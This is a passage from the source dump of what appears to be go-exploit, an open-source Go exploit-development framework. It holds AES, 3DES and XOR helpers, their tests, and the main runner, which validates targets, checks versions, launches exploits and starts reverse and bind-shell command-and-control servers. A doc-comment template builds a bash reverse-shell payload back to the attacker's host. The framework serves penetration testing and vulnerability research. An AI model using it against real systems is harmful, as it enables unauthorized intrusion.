PKCS#7 padding scheme. var PKCS7Padding = Padding{ Pad: PKCS7Pad, Unpad: PKCS7Unpad, } // NoPadding skips padding. Data must already be block-aligned. var NoPadding = Padding{ Pad: noPad, Unpad: noPad, } func noPad(data []byte, blockSize int) ([]byte, bool) { if blockSize > 0 && len(data)%blockSize != 0 { output.PrintFrameworkError("data is not block-aligned") return nil, false } return data, true } // PKCS7Pad applies PKCS#7 padding to data for the given block size. func PKCS7Pad(data []byte, blockSize int) ([]byte, bool) { if blockSize <= 0 { output.PrintFrameworkError("Invalid block size") return []byte{}, false } padding := blockSize - (len(data) % blockSize) padtext := bytes.Repeat([]byte{byte(padding)}, padding) return append(data, padtext...), true } // PKCS7Unpad removes PKCS#7 padding from data. func PKCS7Unpad(data []byte, blockSize int) ([]byte, bool) { if len(data) == 0 || len(data)%blockSize != 0 { output.PrintFrameworkError("invalid padding") return nil, false } padLen := int(data[len(data)-1]) if padLen == 0 || padLen > blockSize || padLen > len(data) { output.PrintFrameworkError("invalid padding") return nil, false } for i := len(data) - padLen; i < len(data); i++ { if data[i] != byte(padLen) { output.PrintFrameworkError("invalid padding") return nil, false } } return data[:len(data)-padLen], true } ================================================ FILE: encryption/aes_crypto.go ================================================ package encryption import ( "crypto/aes" "crypto/cipher" "crypto/rand" "io" "github.com/vulncheck-oss/go-exploit/output" ) func newAESBlock(key []byte) (cipher.Block, bool) { block, err := aes.NewCipher(key) if err != nil { output.PrintFrameworkError(err.Error()) return nil, false } return block, true } func newAESGCM(key []byte) (cipher.AEAD, bool) { block, ok := newAESBlock(key) if !ok { return nil, false } gcm, err := cipher.NewGCM(block) if err != nil { output.PrintFrameworkError(err.Error()) return nil, false } return gcm, true } func resolvePadding(p []Padding) Padding { if len(p) > 0 { return p[0] } return PKCS7Padding } // AESCBCEncrypt encrypts plaintext using AES-CBC with PKCS7 padding by default. // IV is prepended to the ciphertext. // An optional Padding may be provided to override the default scheme. func AESCBCEncrypt(plaintext, key []byte, padding ...Padding) ([]byte, bool) { return aesCBCEncrypt(plaintext, key, nil, true, resolvePadding(padding)) } // AESCBCEncryptWithIV encrypts plaintext using AES-CBC with a caller-provided IV. // Returns only the ciphertext (IV is not prepended). // An optional Padding may be provided to override the default PKCS7 scheme. func AESCBCEncryptWithIV(plaintext, key, iv []byte, padding ...Padding) ([]byte, bool) { return aesCBCEncrypt(plaintext, key, iv, false, resolvePadding(padding)) } func aesCBCEncrypt(plaintext, key, iv []byte, prependIV bool, pad Padding) ([]byte, bool) { block, ok := newAESBlock(key) if !ok { return nil, false } padded, ok := pad.Pad(plaintext, aes.BlockSize) if !ok { return nil, false } if iv == nil { iv = make([]byte, aes.BlockSize) if _, err := io.ReadFull(rand.Reader, iv); err != nil { output.PrintFrameworkError(err.Error()) return nil, false } } ciphertext := make([]byte, len(padded)) cipher.NewCBCEncrypter(block, iv).CryptBlocks(ciphertext, padded) if prependIV { result := make([]byte, 0, len(iv)+len(ciphertext)) result = append(result, iv...) result = append(result, ciphertext...) ciphertext = result } return ciphertext, true } // AESCBCDecrypt decrypts AES-CBC ciphertext with PKCS7 padding by default. // Expects IV prepended to the ciphertext. // An optional Padding may be provided to override the default scheme. func AESCBCDecrypt(ciphertext, key []byte, padding ...Padding) ([]byte, bool) { if len(ciphertext) < aes.BlockSize*2 || len(ciphertext)%aes.BlockSize != 0 { output.PrintFrameworkError("ciphertext too short or not block-aligned") return nil, false } return aesCBCDecrypt(ciphertext[aes.BlockSize:], key, ciphertext[:aes.BlockSize], resolvePadding(padding)) } // AESCBCDecryptWithIV decrypts AES-CBC ciphertext with a caller-provided IV. // An optional Padding may be provided to override the default PKCS7 scheme. func AESCBCDecryptWithIV(ciphertext, key, iv []byte, padding ...Padding) ([]byte, bool) { if len(ciphertext)%aes.BlockSize != 0 { output.PrintFrameworkError("ciphertext not block-aligned") return nil, false } return aesCBCDecrypt(ciphertext, key, iv, resolvePadding(padding)) } func aesCBCDecrypt(ciphertext, key, iv []byte, pad Padding) ([]byte, bool) { block, ok := newAESBlock(key) if !ok { return nil, false } plaintext := make([]byte, len(ciphertext)) cipher.NewCBCDecrypter(block, iv).CryptBlocks(plaintext, ciphertext) return pad.Unpad(plaintext, aes.BlockSize) } // AESGCMEncrypt encrypts plaintext using AES-GCM. // Nonce is prepended to the ciphertext. func AESGCMEncrypt(plaintext, key []byte) ([]byte, bool) { gcm, ok := newAESGCM(key) if !ok { return nil, false } nonce := make([]byte, gcm.NonceSize()) if _, err := io.ReadFull(rand.Reader, nonce); err != nil { output.PrintFrameworkError(err.Error()) return nil, false } return gcm.Seal(nonce, nonce, plaintext, nil), true } // AESGCMDecrypt decrypts AES-GCM ciphertext. // Expects nonce prepended to the ciphertext. func AESGCMDecrypt(ciphertext, key []byte) ([]byte, bool) { gcm, ok := newAESGCM(key) if !ok { return nil, false } nonceSize := gcm.NonceSize() if len(ciphertext) < nonceSize { output.PrintFrameworkError("ciphertext too short") return nil, false } nonce, raw := ciphertext[:nonceSize], ciphertext[nonceSize:] plaintext, err := gcm.Open(nil, nonce, raw, nil) if err != nil { output.PrintFrameworkError(err.Error()) return nil, false } return plaintext, true } ================================================ FILE: encryption/aes_crypto_test.go ================================================ package encryption_test import ( "bytes" "crypto/aes" "crypto/rand" "testing" "github.com/vulncheck-oss/go-exploit/encryption" ) func TestAESCBCRoundtrip(t *testing.T) { key := make([]byte, 32) if _, err := rand.Read(key); err != nil { t.Fatal(err) } plaintext := []byte("this is a secret payload for AES-CBC encryption test") ciphertext, ok := encryption.AESCBCEncrypt(plaintext, key) if !ok { t.Fatal("AESCBCEncrypt failed") } if bytes.Equal(ciphertext, plaintext) { t.Fatal("ciphertext should differ from plaintext") } decrypted, ok := encryption.AESCBCDecrypt(ciphertext, key) if !ok { t.Fatal("AESCBCDecrypt failed") } if !bytes.Equal(decrypted, plaintext) { t.Fatal("decrypted data should match original plaintext") } } func TestAESCBCWithIVRoundtrip(t *testing.T) { key := make([]byte, 16) iv := make([]byte, aes.BlockSize) if _, err := rand.Read(key); err != nil { t.Fatal(err) } if _, err := rand.Read(iv); err != nil { t.Fatal(err) } plaintext := []byte("testing AES-CBC with explicit IV") ciphertext, ok := encryption.AESCBCEncryptWithIV(plaintext, key, iv) if !ok { t.Fatal("AESCBCEncryptWithIV failed") } decrypted, ok := encryption.AESCBCDecryptWithIV(ciphertext, key, iv) if !ok { t.Fatal("AESCBCDecryptWithIV failed") } if !bytes.Equal(decrypted, plaintext) { t.Fatal("decrypted data should match original plaintext") } } func TestAESCBCBadKey(t *testing.T) { key := make([]byte, 32) if _, err := rand.Read(key); err != nil { t.Fatal(err) } plaintext := []byte("secret") ciphertext, ok := encryption.AESCBCEncrypt(plaintext, key) if !ok { t.Fatal("encrypt failed") } wrongKey := make([]byte, 32) if _, err := rand.Read(wrongKey); err != nil { t.Fatal(err) } _, ok = encryption.AESCBCDecrypt(ciphertext, wrongKey) if ok { t.Fatal("decrypt with wrong key should fail") } } func TestAESCBCInvalidKeySize(t *testing.T) { _, ok := encryption.AESCBCEncrypt([]byte("test"), []byte("short")) if ok { t.Fatal("should fail with invalid key size") } } func TestAESGCMRoundtrip(t *testing.T) { key := make([]byte, 32) if _, err := rand.Read(key); err != nil { t.Fatal(err) } plaintext := []byte("this is a secret payload for AES-GCM encryption test") ciphertext, ok := encryption.AESGCMEncrypt(plaintext, key) if !ok { t.Fatal("AESGCMEncrypt failed") } decrypted, ok := encryption.AESGCMDecrypt(ciphertext, key) if !ok { t.Fatal("AESGCMDecrypt failed") } if !bytes.Equal(decrypted, plaintext) { t.Fatal("decrypted data should match original plaintext") } } func TestAESGCMTampered(t *testing.T) { key := make([]byte, 32) if _, err := rand.Read(key); err != nil { t.Fatal(err) } ciphertext, ok := encryption.AESGCMEncrypt([]byte("secret"), key) if !ok { t.Fatal("encrypt failed") } // Tamper with the ciphertext ciphertext[len(ciphertext)-1] ^= 0xFF _, ok = encryption.AESGCMDecrypt(ciphertext, key) if ok { t.Fatal("decrypt of tampered ciphertext should fail") } } func TestAESGCMBadKey(t *testing.T) { key := make([]byte, 32) if _, err := rand.Read(key); err != nil { t.Fatal(err) } ciphertext, ok := encryption.AESGCMEncrypt([]byte("secret"), key) if !ok { t.Fatal("encrypt failed") } wrongKey := make([]byte, 32) if _, err := rand.Read(wrongKey); err != nil { t.Fatal(err) } _, ok = encryption.AESGCMDecrypt(ciphertext, wrongKey) if ok { t.Fatal("decrypt with wrong key should fail") } } func TestPKCS7PadUnpadRoundtrip(t *testing.T) { data := []byte("hello world") padded, ok := encryption.PKCS7Pad(data, 16) if !ok { t.Fatal("PKCS7Pad failed") } unpadded, ok := encryption.PKCS7Unpad(padded, 16) if !ok { t.Fatal("PKCS7Unpad failed") } if !bytes.Equal(unpadded, data) { t.Fatal("unpadded data should match original") } } func TestAESCBCNoPadding(t *testing.T) { key := make([]byte, 32) if _, err := rand.Read(key); err != nil { t.Fatal(err) } // Data must be block-aligned for NoPadding. plaintext := []byte("0123456789abcdef") // exactly 16 bytes ciphertext, ok := encryption.AESCBCEncrypt(plaintext, key, encryption.NoPadding) if !ok { t.Fatal("AESCBCEncrypt with NoPadding failed") } decrypted, ok := encryption.AESCBCDecrypt(ciphertext, key, encryption.NoPadding) if !ok { t.Fatal("AESCBCDecrypt with NoPadding failed") } if !bytes.Equal(decrypted, plaintext) { t.Fatal("decrypted data should match original plaintext") } } func TestAESCBCNoPaddingUnaligned(t *testing.T) { key := make([]byte, 32) if _, err := rand.Read(key); err != nil { t.Fatal(err) } // Non-aligned data should fail with NoPadding. plaintext := []byte("not aligned") _, ok := encryption.AESCBCEncrypt(plaintext, key, encryption.NoPadding) if ok { t.Fatal("NoPadding with unaligned data should fail") } } func TestAESKeySizes(t *testing.T) { plaintext := []byte("test data") for _, size := range []int{16, 24, 32} { key := make([]byte, size) if _, err := rand.Read(key); err != nil { t.Fatal(err) } ct, ok := encryption.AESCBCEncrypt(plaintext, key) if !ok { t.Fatalf("AES-CBC encrypt failed with %d-byte key", size) } pt, ok := encryption.AESCBCDecrypt(ct, key) if !ok { t.Fatalf("AES-CBC decrypt failed with %d-byte key", size) } if !bytes.Equal(pt, plaintext) { t.Fatalf("roundtrip failed with %d-byte key", size) } ct, ok = encryption.AESGCMEncrypt(plaintext, key) if !ok { t.Fatalf("AES-GCM encrypt failed with %d-byte key", size) } pt, ok = encryption.AESGCMDecrypt(ct, key) if !ok { t.Fatalf("AES-GCM decrypt failed with %d-byte key", size) } if !bytes.Equal(pt, plaintext) { t.Fatalf("roundtrip failed with %d-byte key", size) } } } ================================================ FILE: encryption/certificate.go ================================================ package encryption import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "math/big" "time" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/random" ) // GenerateCertificate creates an unsigned TLS certificate that can be used by other Go functions. func GenerateCertificate() (tls.Certificate, bool) { privateKey, err := rsa.GenerateKey(rand.Reader, 2048) if err != nil { output.PrintFrameworkError(err.Error()) return tls.Certificate{}, false } template := x509.Certificate{ SerialNumber: big.NewInt(8), Subject: pkix.Name{CommonName: random.RandLetters(12)}, NotBefore: time.Now(), NotAfter: time.Now().Add(24 * time.Hour), BasicConstraintsValid: true, IsCA: true, KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, } certificateBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &privateKey.PublicKey, privateKey) if err != nil { output.PrintFrameworkError(err.Error()) return tls.Certificate{}, false } certificate := tls.Certificate{ Certificate: [][]byte{certificateBytes}, PrivateKey: privateKey, } return certificate, true } ================================================ FILE: encryption/des.go ================================================ package encryption import ( "bytes" "crypto/cipher" "crypto/des" "github.com/vulncheck-oss/go-exploit/output" ) // PKCS5Padding pads bytes based on RFC-8018 func PKCS5Padding(src []byte, blockSize int) []byte { padding := blockSize - len(src)%blockSize padtext := bytes.Repeat([]byte{byte(padding)}, padding) return append(src, padtext...) } // TripleDesEncryption wraps the upstream Go des.NewTripleDESCipher but automatically sets up block size defaults and pads with PKCS#5 func TripleDesEncryption(key, iv, plainText []byte) ([]byte, bool) { block, err := des.NewTripleDESCipher(key) if err != nil { output.PrintFrameworkError(err.Error()) return nil, false } blockSize := block.BlockSize() origData := PKCS5Padding(plainText, blockSize) blockMode := cipher.NewCBCEncrypter(block, iv) cryted := make([]byte, len(origData)) blockMode.CryptBlocks(cryted, origData) return cryted, true } ================================================ FILE: encryption/kdf.go ================================================ package encryption import ( "crypto/hmac" "crypto/sha512" "encoding/binary" ) // SP800-108 HMAC512 Key Derivation Function. Be sure to pass the byte length of the desired output, not bit length. func SP800108HMACSHA512(key []byte, label []byte, context []byte, outLen int) []byte { hLen := sha512.Size n := (outLen + hLen - 1) / hLen out := make([]byte, 0, n*hLen) for i := 1; i <= n; i++ { h := hmac.New(sha512.New, key) var ctr [4]byte binary.BigEndian.PutUint32(ctr[:], uint32(i)) h.Write(ctr[:]) h.Write(label) h.Write([]byte{0x00}) h.Write(context) var l [4]byte binary.BigEndian.PutUint32(l[:], uint32(outLen*8)) h.Write(l[:]) out = append(out, h.Sum(nil)...) } return out[:outLen] } ================================================ FILE: encryption/xor.go ================================================ package encryption // XOR encodes data with a repeating key. func XOR(data, key []byte) []byte { if len(key) == 0 { return data } out := make([]byte, len(data)) for i, b := range data { out[i] = b ^ key[i%len(key)] } return out } // XORByte encodes data with a single byte key. func XORByte(data []byte, key byte) []byte { out := make([]byte, len(data)) for i, b := range data { out[i] = b ^ key } return out } ================================================ FILE: encryption/xor_test.go ================================================ package encryption_test import ( "bytes" "testing" "github.com/vulncheck-oss/go-exploit/encryption" ) func TestXOR(t *testing.T) { data := []byte("hello world") key := []byte("key") encoded := encryption.XOR(data, key) if bytes.Equal(encoded, data) { t.Fatal("XOR should produce different output") } decoded := encryption.XOR(encoded, key) if !bytes.Equal(decoded, data) { t.Fatal("XOR decode should return original data") } } func TestXOREmptyKey(t *testing.T) { data := []byte("hello") result := encryption.XOR(data, []byte{}) if !bytes.Equal(result, data) { t.Fatal("XOR with empty key should return original data") } } func TestXORByte(t *testing.T) { data := []byte("test payload") key := byte(0x41) encoded := encryption.XORByte(data, key) if bytes.Equal(encoded, data) { t.Fatal("XORByte should produce different output") } decoded := encryption.XORByte(encoded, key) if !bytes.Equal(decoded, data) { t.Fatal("XORByte decode should return original data") } } func TestXORNullByteAvoidance(t *testing.T) { // Shellcode with null bytes data := []byte{0x00, 0x01, 0x02, 0x03} key := byte(0xFF) encoded := encryption.XORByte(data, key) for i, b := range encoded { if b == 0x00 { t.Fatalf("XOR encoded byte %d is still null", i) } } } ================================================ FILE: framework.go ================================================ // Package exploit is the entrypoint for exploits developed with the go-exploit framework. // // The exploit package invokes command line parsing, handles c2, and calls into the three stages of // exploitation (as defined by go-exploit). In order to use this framework, implementing exploits // should follow this general template: // // package main // // import ( // "github.com/vulncheck-oss/go-exploit" // "github.com/vulncheck-oss/go-exploit/c2" // "github.com/vulncheck-oss/go-exploit/config" // "github.com/vulncheck-oss/go-exploit/output" // ) // // type MyExploit struct{} // // func generatePayload(conf *config.Config) (string, bool) { // generated := "" // // switch conf.C2Type { // case c2.SimpleShellServer: // // generated = reverse.Bash.TCPRedirection(conf.Lhost, conf.Lport) // Example // default: // output.PrintError("Invalid payload") // // return generated, false // } // // return generated, true // } // // func (sploit MyExploit) ValidateTarget(conf *config.Config) bool { // return false // } // // func (sploit MyExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType { // return exploit.NotImplemented // } // // func (sploit MyExploit) RunExploit(conf *config.Config) bool { // generated, ok := generatePayload(conf) // if !ok { // return false // } // return true // } // // func main() { // supportedC2 := []c2.Impl{ // c2.SimpleShellServer, // c2.SimpleShellClient, // } // conf := config.NewRemoteExploit( // config.ImplementedFeatures{AssetDetection: false, VersionScanning: false, Exploitation: false}, // config.CodeExecution, supportedC2, "Vendor", []string{"Product"}, // []string{"cpe:2.3:a:vendor:product"}, "CVE-2024-1270", "HTTP", 8080) // // sploit := MyExploit{} // exploit.RunProgram(sploit, conf) // } package exploit import ( "crypto/tls" "fmt" "os" "os/signal" "strings" "sync" "sync/atomic" "time" "github.com/Masterminds/semver" "github.com/vulncheck-oss/go-exploit/c2" "github.com/vulncheck-oss/go-exploit/c2/channel" "github.com/vulncheck-oss/go-exploit/cli" "github.com/vulncheck-oss/go-exploit/config" "github.com/vulncheck-oss/go-exploit/db" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/payload" "github.com/vulncheck-oss/go-exploit/protocol" ) // The return type for CheckVersion() that represents the identified vulnerability of a target. type VersionCheckType int const ( // The target is not vulnerable. NotVulnerable VersionCheckType = 0 // The target is vulnerable. Vulnerable VersionCheckType = 1 // Based on incomplete information, the target might be vulnerable. PossiblyVulnerable VersionCheckType = 2 // Something went wrong during CheckVersion(). Unknown VersionCheckType = 3 // CheckVersion() is not implemented. NotImplemented VersionCheckType = 4 ) // Exploit is the implementing interface for go-exploit exploits. The functions // are called in order: ValidateTarget, CheckVersion, RunExploit. // // # ValidateTarget // // ValidateTarget is for determining if the target is the type of software the // implemented exploit would like to exploit. This is to avoid throwing an exploit // at target would never be vulnerable. For example, if an exploit is targeting // Confluence, then ValidateTarget might look like the following // // func (sploit ConfluenceExploit) ValidateTarget(conf *config.Config) bool { // url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/") // resp, _, ok := protocol.HTTPSendAndRecv("GET", url, "") // if !ok { // return false // } // // if resp.StatusCode != 200 { // output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode) // // return false // } // _, ok = resp.Header["X-Confluence-Request-Time"] // // return ok // } // // Above you can see ValidateTarget returns true *only* if it finds the X-Confluence-Request-Time // HTTP header. The exploit will not continue on if false is returned. If true is returned then // it will move on to the next stage (CheckVersion). // // # CheckVersion // // CheckVersion is for determning if the target is an affected version or not. Again, to avoid // throwing an exploit at a target that is not vulnerable. CheckVersion is intended to be a // non-intrusive version check. That generally means doing things like: // // - Extracting the version number from a login page // - Examining the HTTP Last-Modified header // - Looking for new functionality introduce in the patch // // For example, to check for CVE-2022-30525, you could do something like this. // // func (sploit ZyxelExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType { // url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/") // resp, bodyString, ok := protocol.HTTPSendAndRecv("GET", url, "") // if !ok { // return exploit.Unknown // } // // if resp.StatusCode != 200 { // output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode) // // return exploit.Unknown // } // // if !strings.Contains(bodyString, "zyFunction.js") { // output.PrintError("The HTTP response did not contain an expected JavaScript include") // // return exploit.Unknown // } // // re := regexp.MustCompile(`src="/ext-js/app/common/zyFunction.js\?v=([0-9]+)">`) // res := re.FindAllStringSubmatch(bodyString, -1) // if len(res) == 0 { // output.PrintError("Could not extract the build date from the target") // // return exploit.Unknown // } // // output.PrintfStatus("The device has a self-reported firmware publication date of %s", res[0][1]) // date64, _ := strconv.ParseInt(res[0][1], 10, 64) // if date64 < 220415000000 { // return exploit.Vulnerable // } // // return exploit.NotVulnerable // } // // Regardless, the goal is to avoid throwing the exploit until you are somewhat sure that it should // land. This cannot always be accomplished so the return of exploit.NotImplemented is always on offer, // and the attacker can skip this step via configuration if they please. // // # RunExploit // // RunExploit should contain the logic for exploiting the target. There is almost no requirement on this // function other than the attacker do their thing. The on thing the implementation should do is return // false if believe their attack has failed. type Exploit interface { ValidateTarget(conf *config.Config) bool CheckVersion(conf *config.Config) VersionCheckType RunExploit(conf *config.Config) bool } // For syncing c2 and exploit threads. var globalWG sync.WaitGroup // doVerify is a wrapper around the implemented exploit's ValidateTarget() function. The results will // be logged in a parsable fashion (e.g. verified=false) and stored in the sqlite db if provided. func doVerify(sploit Exploit, conf *config.Config) bool { output.PrintFrameworkStatus(fmt.Sprintf("Validating %s target", conf.Product), "host", conf.Rhost, "port", conf.Rport) // first check to see if we already verified this target as specific software result, ok := db.GetVerified(conf.Product, conf.Rhost, conf.Rport) if !ok { // if we couldn't query the DB (or there was an error) call down into the exploit result = sploit.ValidateTarget(conf) // update the database with the result so we can skip it next time db.UpdateVerified(conf.Product, result, "", conf.Rhost, conf.Rport) } else { output.PrintFrameworkTrace("Verified software cache hit", "result", result) } if result { output.PrintFrameworkSuccess("Target verification succeeded!", "host", conf.Rhost, "port", conf.Rport, "verified", true) } else { output.PrintFrameworkStatus("The target isn't recognized as "+conf.Product, "host", conf.Rhost, "port", conf.Rport, "verified", false) } return result } // doVersionCheck is a wrapper around the implemented exploit's CheckVersion() function. func doVersionCheck(sploit Exploit, conf *config.Config) bool { output.PrintFrameworkStatus("Running a version check on the remote target", "host", conf.Rhost, "port", conf.Rport) result := sploit.CheckVersion(conf) switch result { case NotVulnerable: output.PrintFrameworkStatus("The target appears to be a patched version.", "host", conf.Rhost, "port", conf.Rport, "vulnerable", "no") return false case Vulnerable: output.PrintFrameworkSuccess("The target appears to be a vulnerable version!", "host", conf.Rhost, "port", conf.Rport, "vulnerable", "yes") case PossiblyVulnerable: output.PrintFrameworkSuccess("The target *might* be a vulnerable version. Continuing.", "host", conf.Rhost, "port", conf.Rport, "vulnerable", "possibly") case Unknown: output.PrintFrameworkStatus("The result of the version check returned an unknown state.", "host", conf.Rhost, "port", conf.Rport, "vulnerable", "unknown") return false case NotImplemented: output.PrintFrameworkStatus("This exploit has not implemented a version check", "host", conf.Rhost, "port", conf.Rport, "vulnerable", "notimplemented") } return true } // Automatically determine if the remote target is using SSL or not. This *does* work // even if a proxy is configured. This can be slow when dealing with non-SSL // targets that don't respond to the handshake attempt, but it seems a reasonable trade-off. // return bool (connected), bool (ssl). func determineServerSSL(rhost string, rport int) (bool, bool) { conn, ok := protocol.TCPConnect(rhost, rport) if !ok { return false, false } defer conn.Close() tlsConn := tls.Client(conn, &tls.Config{InsecureSkipVerify: true}) _ = tlsConn.SetReadDeadline(time.Now().Add(10 * time.Second)) err := tlsConn.Handshake() return true, err == nil } // Invokes command line parsing based on the type of exploit that was implemented. func parseCommandLine(conf *config.Config) bool { switch conf.ExType { case config.CodeExecution: return cli.CodeExecutionCmdLineParse(conf) case config.InformationDisclosure: return cli.InformationDisclosureCmdLineParse(conf) case config.Webshell: return cli.WebShellCmdLineParse(conf) case config.FileFormat: return cli.FormatFileCmdLineParse(conf) case config.Local: return cli.LocalCmdLineParse(conf) default: output.PrintFrameworkError("Invalid exploit type provided.") return false } } // Manually start the C2 server. This is used when Config.C2AutoStart is // disabled and for when you may not want to start the server until // another action is complete. func StartC2(conf *config.Config) bool { return startC2Server(conf) } func startC2Server(conf *config.Config) bool { if conf.DoExploit && !conf.ThirdPartyC2Server && conf.Bport == 0 && (conf.ExType != config.InformationDisclosure && conf.ExType != config.Webshell) { c2Impl, success := c2.GetInstance(conf.C2Type) if !success || c2Impl == nil { return false } sigint := make(chan os.Signal, 1) signal.Notify(sigint, os.Interrupt) var shutdown atomic.Bool shutdown.Store(false) c2channel := &channel.Channel{ IPAddr: conf.Lhost, Port: conf.Lport, IsClient: false, Shutdown: &shutdown, } // Handle the signal interrupt channel. If the signal is triggered, then trigger the done // channel which will clean up the server and close cleanly. go func(sigint <-chan os.Signal, channel *channel.Channel) { <-sigint output.PrintfFrameworkStatus("Interrupt signal received") channel.Shutdown.Store(true) }(sigint, c2channel) success = c2Impl.Init(c2channel) if !success { return false } globalWG.Add(1) go func() { defer globalWG.Done() c2Impl.Run(conf.C2Timeout) output.PrintFrameworkStatus("C2 server exited") }() } return true } // execute verify, version check, and exploit. Return false if an unrecoverable error occurred. // //nolint:gocognit func doScan(sploit Exploit, conf *config.Config) bool { // autodetect if the target is using SSL or not if conf.DetermineSSL { connected, sslEnabled := determineServerSSL(conf.Rhost, conf.Rport) if !connected { return true } conf.SSL = sslEnabled } if conf.DoVerify { if !doVerify(sploit, conf) { // C2 cleanup is meaningless with third party C2s if !conf.ThirdPartyC2Server { // Shuts down the C2 if verification fails c, ok := c2.GetInstance(conf.C2Type) if !ok { output.PrintFrameworkError("Could not get C2 configuration") return false } c.Shutdown() } return true } } if conf.DoVersionCheck { if !doVersionCheck(sploit, conf) { // C2 cleanup is meaningless with third party C2s if !conf.ThirdPartyC2Server { // Shuts down the C2 if version check fails c, ok := c2.GetInstance(conf.C2Type) if !ok { output.PrintFrameworkError("Could not get C2 configuration") return false } c.Shutdown() } return true } } if conf.DoExploit { // execute exploit attempts on a new thread globalWG.Add(1) go func() { defer globalWG.Done() ok := sploit.RunExploit(conf) if ok { output.PrintFrameworkSuccess("Exploit successfully completed", "exploited", true) } else { output.PrintFrameworkStatus("Exploit exited with an error", "exploited", false) } }() // if the "c2" connects to a bindshell, call init to update the rhost/bport // and then attempt to connect if !conf.ThirdPartyC2Server && conf.Bport != 0 { c2Impl, success := c2.GetInstance(conf.C2Type) if !success || c2Impl == nil { return false } success = c2Impl.Init(&channel.Channel{ IPAddr: conf.Rhost, Port: conf.Bport, IsClient: true, }) if !success { return false } globalWG.Add(1) go func() { defer globalWG.Done() c2Impl.Run(conf.C2Timeout) output.PrintFrameworkStatus("C2 client exited") }() } } return true } // Prints the version to the log file using status VERSION and a parsable version string (version=). // Additionally, updates the database if it's in use. Typically should be called from the exploit. func StoreVersion(conf *config.Config, version string) { output.PrintVersion("The reported version is "+version, conf.Rhost, conf.Rport, version) db.UpdateVerified(conf.Product, true, version, conf.Rhost, conf.Rport) } // Compare a version to a semantic version constraint using the [Masterminds semver constraints](https://github.com/Masterminds/semver?tab=readme-ov-file#checking-version-constraints). // Provide a version string and a constraint and if the semver is within the constraint a boolean // response of whether the version is constrained or not will occur. Any errors from the constraint // or version will propagate through the framework errors and the value will be false. // // Deprecated: The location of the version checking in this package made little sense, with the // addition of the search package this function should be used from that package. func CheckSemVer(version string, constraint string) bool { c, err := semver.NewConstraint(constraint) if err != nil { output.PrintfFrameworkError("Invalid constraint: %s", err.Error()) return false } v, err := semver.NewVersion(version) if err != nil { output.PrintfFrameworkError("Invalid version: %s", err.Error()) return false } return c.Check(v) } // modify godebug to re-enable old cipher suites that were removed in 1.22. This does have implications for our // client fingerprint, and we should consider how to improve/fix that in the future. We also should be respectful // of other disabling this feature, so we will check for it before re-enabling it. func updateGoDebug() { currentGODEBUG := os.Getenv("GODEBUG") if strings.Contains(currentGODEBUG, "tlsrsakex") { // do nothing return } if len(currentGODEBUG) == 0 { os.Setenv("GODEBUG", "tlsrsakex=1") } else { // append our new setting to the end currentGODEBUG += ",tlsrsakex=1" os.Setenv("GODEBUG", currentGODEBUG) } } func addPayloadMetadata(conf *config.Config) { cmd := conf.StringFlagsMap["command"] p := conf.StringFlagsMap["payload"] if p != nil && cmd != nil { if *p != "" && *cmd != "" { output.PrintFrameworkError("Both `-command` and `-payload` cannot be set at the same time.") return } } payloadType := conf.StringFlagsMap["payload-type"] if payloadType != nil { p := payload.TypeFromString(*payloadType) if p == payload.UnspecifiedType { output.PrintfFrameworkError("payload type not supported: %s", *payloadType) return } for _, t := range conf.SupportedPayloads { if t.Type == p { conf.SelectedPayload = t } } } if cmd != nil { if *cmd != "" { conf.CustomPayload = []byte(*cmd) } } if p != nil { switch conf.SelectedPayload.Type { case payload.LinuxSO, payload.LinuxELF, payload.WindowsEXE, payload.WindowsDLL, payload.Webshell: if *p == "" { output.PrintError("Selected payload type requires `-payload` to be used") return } case payload.GenericCommand, payload.WindowsPowerShellCommand, payload.WindowsCommand, payload.MacCommand, payload.LinuxCommand: case payload.UnspecifiedType: output.PrintFrameworkError("Unspecified payload type used") default: } if *p != "" { d, err := os.ReadFile(*p) if err != nil { output.PrintfFrameworkError("Could not read custom payload '%s': %s", *p, err.Error()) return } conf.CustomPayload = d } } if payloadType != nil { output.PrintfFrameworkDebug("selecting payload type: %s", *payloadType) } } // Effectively the package main function. Parses configuration, starts command and control, // controls which targets are scanned, initiates call down into the exploits implementation // and is ultimately responsible for waiting for all c2 and attack threads to finish. // // This function also runs `flag.Parse()` so any defined flags will be parsed when RunProgram // is called. // // This function should be called by the implementing exploit, likely in the main function. func RunProgram(sploit Exploit, conf *config.Config) { updateGoDebug() if !parseCommandLine(conf) { return } // Early start the payload flags if conf.PayloadFlags { addPayloadMetadata(conf) } // create and init the db if the user provided a database if !db.InitializeDB(conf.DBName) { return } // if the c2 server is meant to catch responses, initialize and start so it can bind if conf.C2AutoStart { if !startC2Server(conf) { return } } if conf.ExType == config.FileFormat || conf.ExType == config.Local { if !doScan(sploit, conf) { return } globalWG.Wait() } else { // loop over all the provided host / port combos for index, host := range conf.RhostsNTuple { // setup the conf for the downstream exploit conf.Rhost = host.Rhost conf.Rport = host.Rport switch host.SSL { case config.SSLDisabled: conf.SSL = false conf.DetermineSSL = false case config.SSLEnabled: conf.SSL = true conf.DetermineSSL = false case config.SSLAutodiscover: conf.SSL = false conf.DetermineSSL = true } output.PrintFrameworkStatus("Starting target", "index", index, "host", conf.Rhost, "port", conf.Rport, "ssl", conf.SSL, "ssl auto", conf.DetermineSSL) if !doScan(sploit, conf) { return } globalWG.Wait() } } } ================================================ FILE: framework_test.go ================================================ package exploit_test import ( "testing" "github.com/vulncheck-oss/go-exploit" ) func TestCheckSemVer_Full(t *testing.T) { if !exploit.CheckSemVer("1.0.0", "<= 1.0.0") { t.Error("Constraint should have passed") } if exploit.CheckSemVer("1.0.0", "> 1.0.0") { t.Error("Constraint should not have passed") } } func TestCheckSemVer_BadVersion(t *testing.T) { if exploit.CheckSemVer("uwu", "<= 1.0.0") { t.Error("Version was invalid, should not have passed") } if exploit.CheckSemVer("1.0.0 